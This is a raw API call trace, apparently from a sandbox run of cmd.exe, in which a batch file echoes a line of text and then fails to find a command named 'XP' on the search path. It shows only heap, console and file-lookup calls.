[0162.441] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.441] GetFileType (hFile=0x94) returned 0x1 [0162.441] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.441] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b9 [0162.441] GetProcessHeap () returned 0x20b0f920000 [0162.441] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.442] GetProcessHeap () returned 0x20b0f920000 [0162.442] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.442] _wcsicmp (_String1="XP", _String2=")") returned 79 [0162.442] _wcsicmp (_String1="FOR", _String2="XP") returned -18 [0162.442] _wcsicmp (_String1="FOR/?", _String2="XP") returned -18 [0162.442] _wcsicmp (_String1="IF", _String2="XP") returned -15 [0162.442] _wcsicmp (_String1="IF/?", _String2="XP") returned -15 [0162.442] _wcsicmp (_String1="REM", _String2="XP") returned -6 [0162.442] _wcsicmp (_String1="REM/?", _String2="XP") returned -6 [0162.442] GetProcessHeap () returned 0x20b0f920000 [0162.442] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.442] GetProcessHeap () returned 0x20b0f920000 [0162.442] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x16) returned 0x20b0f946950 [0162.443] GetProcessHeap () returned 0x20b0f920000 [0162.443] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f92cb10 [0162.443] _tell (_FileHandle=3) returned 1209 [0162.443] _close (_FileHandle=3) returned 0 [0162.443] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.443] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.443] GetFileType (hFile=0x50) returned 0x2 [0162.443] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.443] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.444] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.444] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.447] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.447] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.447] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.447] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.448] GetFileType (hFile=0x50) returned 0x2 [0162.448] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.448] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.448] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.448] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.448] GetFileType (hFile=0x50) returned 0x2 [0162.448] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.448] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.449] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f946960*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f946960*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.449] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" and is listed separately on this page. Synta ") returned 51 [0162.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.449] GetFileType (hFile=0x50) returned 0x2 [0162.449] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.449] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.449] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.449] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x33) returned 1 [0162.450] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.450] GetFileType (hFile=0x50) returned 0x2 [0162.450] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.450] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.450] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.450] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.456] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.457] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.457] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.457] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.457] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.458] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.458] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.458] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.458] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.458] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.458] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.458] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.458] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.458] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.458] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.458] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.458] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.458] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.458] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.458] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.458] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.458] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.458] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.458] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.458] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.458] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.458] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.458] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.458] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.458] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.458] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.458] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.458] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.458] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.458] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.458] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.458] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.458] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.458] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.458] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.458] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.459] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.459] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.459] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.459] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.459] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.459] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.459] GetProcessHeap () returned 0x20b0f920000 [0162.459] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.461] SetErrorMode (uMode=0x0) returned 0x0 [0162.461] SetErrorMode (uMode=0x1) returned 0x0 [0162.461] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.462] SetErrorMode (uMode=0x0) returned 0x1 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x3e) returned 0x20b0f957f90 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x3e [0162.462] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.462] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.462] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.462] GetProcessHeap () returned 0x20b0f920000 [0162.462] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.462] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.462] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.463] GetLastError () returned 0x2 [0162.463] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.463] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.463] GetLastError () returned 0x2 [0162.463] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.463] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.463] GetLastError () returned 0x2 [0162.463] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.463] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.463] GetLastError () returned 0x2 [0162.463] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.464] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.464] GetLastError () returned 0x2 [0162.464] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.464] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.464] GetLastError () returned 0x2 [0162.464] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.464] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.464] GetLastError () returned 0x2 [0162.464] ??_V@YAXPEAX@Z () returned 0x1 [0162.464] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.465] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.465] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.465] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.465] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.466] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.466] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.466] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.466] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.466] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.466] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.466] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.466] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.466] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.466] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.466] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.466] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.466] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.466] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.466] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.466] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.466] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.466] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.466] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.466] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.466] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.466] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.466] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.466] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.466] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.467] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.467] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.467] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.467] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.467] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.467] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.467] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.467] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.467] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.467] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.467] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.467] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.467] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.467] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.467] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.467] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.467] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.467] _wcsicmp (_String1="XP", _String2="DIR") returned 20 [0162.467] _wcsicmp (_String1="XP", _String2="ERASE") returned 19 [0162.467] _wcsicmp (_String1="XP", _String2="DEL") returned 20 [0162.467] _wcsicmp (_String1="XP", _String2="TYPE") returned 4 [0162.467] _wcsicmp (_String1="XP", _String2="COPY") returned 21 [0162.467] _wcsicmp (_String1="XP", _String2="CD") returned 21 [0162.467] _wcsicmp (_String1="XP", _String2="CHDIR") returned 21 [0162.467] _wcsicmp (_String1="XP", _String2="RENAME") returned 6 [0162.467] _wcsicmp (_String1="XP", _String2="REN") returned 6 [0162.467] _wcsicmp (_String1="XP", _String2="ECHO") returned 19 [0162.467] _wcsicmp (_String1="XP", _String2="SET") returned 5 [0162.467] _wcsicmp (_String1="XP", _String2="PAUSE") returned 8 [0162.467] _wcsicmp (_String1="XP", _String2="DATE") returned 20 [0162.467] _wcsicmp (_String1="XP", _String2="TIME") returned 4 [0162.467] _wcsicmp (_String1="XP", _String2="PROMPT") returned 8 [0162.467] _wcsicmp (_String1="XP", _String2="MD") returned 11 [0162.467] _wcsicmp (_String1="XP", _String2="MKDIR") returned 11 [0162.467] _wcsicmp (_String1="XP", _String2="RD") returned 6 [0162.467] _wcsicmp (_String1="XP", _String2="RMDIR") returned 6 [0162.467] _wcsicmp (_String1="XP", _String2="PATH") returned 8 [0162.468] _wcsicmp (_String1="XP", _String2="GOTO") returned 17 [0162.468] _wcsicmp (_String1="XP", _String2="SHIFT") returned 5 [0162.468] _wcsicmp (_String1="XP", _String2="CLS") returned 21 [0162.468] _wcsicmp (_String1="XP", _String2="CALL") returned 21 [0162.468] _wcsicmp (_String1="XP", _String2="VERIFY") returned 2 [0162.468] _wcsicmp (_String1="XP", _String2="VER") returned 2 [0162.468] _wcsicmp (_String1="XP", _String2="VOL") returned 2 [0162.468] _wcsicmp (_String1="XP", _String2="EXIT") returned 19 [0162.468] _wcsicmp (_String1="XP", _String2="SETLOCAL") returned 5 [0162.468] _wcsicmp (_String1="XP", _String2="ENDLOCAL") returned 19 [0162.468] _wcsicmp (_String1="XP", _String2="TITLE") returned 4 [0162.468] _wcsicmp (_String1="XP", _String2="START") returned 5 [0162.468] _wcsicmp (_String1="XP", _String2="DPATH") returned 20 [0162.468] _wcsicmp (_String1="XP", _String2="KEYS") returned 13 [0162.468] _wcsicmp (_String1="XP", _String2="MOVE") returned 11 [0162.468] _wcsicmp (_String1="XP", _String2="PUSHD") returned 8 [0162.468] _wcsicmp (_String1="XP", _String2="POPD") returned 8 [0162.468] _wcsicmp (_String1="XP", _String2="ASSOC") returned 23 [0162.468] _wcsicmp (_String1="XP", _String2="FTYPE") returned 18 [0162.468] _wcsicmp (_String1="XP", _String2="BREAK") returned 22 [0162.468] _wcsicmp (_String1="XP", _String2="COLOR") returned 21 [0162.468] _wcsicmp (_String1="XP", _String2="MKLINK") returned 11 [0162.468] _wcsicmp (_String1="XP", _String2="FOR") returned 18 [0162.468] _wcsicmp (_String1="XP", _String2="IF") returned 15 [0162.468] _wcsicmp (_String1="XP", _String2="REM") returned 6 [0162.468] ??_V@YAXPEAX@Z () returned 0x1 [0162.469] GetProcessHeap () returned 0x20b0f920000 [0162.469] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957fe0 [0162.469] GetProcessHeap () returned 0x20b0f920000 [0162.469] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x7c) returned 0x20b0f956b50 [0162.469] _wcsnicmp (_String1="XP", _String2="cmd ", _MaxCount=0x4) returned 21 [0162.469] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.469] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.470] GetProcessHeap () returned 0x20b0f920000 [0162.470] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fd0 [0162.471] SetErrorMode (uMode=0x0) returned 0x0 [0162.471] SetErrorMode (uMode=0x1) returned 0x0 [0162.471] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967fe0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.471] SetErrorMode (uMode=0x0) returned 0x1 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fd0, Size=0x3e) returned 0x20b0f967fd0 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fd0) returned 0x3e [0162.471] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.471] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.471] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0162.471] GetProcessHeap () returned 0x20b0f920000 [0162.471] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0162.471] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.471] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.472] GetLastError () returned 0x2 [0162.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.472] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.472] GetLastError () returned 0x2 [0162.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.472] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.472] GetLastError () returned 0x2 [0162.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.472] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.472] GetLastError () returned 0x2 [0162.472] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.473] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.473] GetLastError () returned 0x2 [0162.473] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.473] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.473] GetLastError () returned 0x2 [0162.473] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.473] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\XP.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.473] GetLastError () returned 0x2 [0162.473] ??_V@YAXPEAX@Z () returned 0x1 [0162.473] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.474] GetFileType (hFile=0x54) returned 0x2 [0162.474] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.474] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.474] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.474] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.474] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized 